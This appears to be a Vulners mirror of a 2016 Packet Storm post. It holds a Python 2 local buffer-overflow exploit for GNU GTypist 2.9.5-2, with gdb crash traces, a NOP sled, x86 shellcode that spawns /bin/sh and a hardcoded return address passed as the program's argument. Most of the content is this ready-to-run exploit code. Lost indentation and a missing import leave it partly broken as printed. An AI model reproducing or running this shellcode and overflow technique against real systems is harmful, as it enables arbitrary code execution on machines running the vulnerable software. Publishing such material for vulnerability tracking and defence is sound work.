Lucene search
K

GNU GTypist 2.9.5-2 Buffer Overflow

🗓️ 27 Oct 2016 00:00:00Reported by Juan SaccoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

GNU GTypist 2.9.5-2 Buffer Overflow, Exploit using Exploit Pack v6.5, Kali Linux 2.0 x8

Code
`# Exploit developed using Exploit Pack v6.5  
# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
# [email protected]  
# Program affected: GNU Typist  
# Affected value: ARG0  
# Version: 2.9.5-2  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
# Program description: Simple ncurses touch typing tutor  
# Displays exercise lines, measures your typing speed and  
# accuracy, and displays the results  
  
# Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb  
# MD5sum: 7ca59c5c0c494e41735b7be676401357  
# Website: http://www.gnu.org/software/gtypist/  
  
# gdb$ run `python -c 'print "A"*4098'`  
# 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6  
# 0x0804bf30 in ?? ()  
# 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6  
# 0x0804c393 in ?? ()  
  
  
import os, subprocess  
  
def run():  
try:  
print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"  
print "# This Exploit has been developed using Exploit Pack -  
http://exploitpack.com"  
# NOPSLED + SHELLCODE + EIP  
  
buffersize = 4098  
nopsled = "\x90"*30  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
eip = "\x08\xec\xff\xbf"  
buffer = nopsled * (buffersize-len(shellcode)) + eip  
subprocess.call(["gtypist ",' ', buffer])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, GNU GTypist - Not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit GNU GTypist - Local Overflow Exploit"  
print "Author: Juan Sacco - Exploit Pack"  
except IndexError:  
howtousage()  
run()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
0.4Low risk
Vulners AI Score0.4
34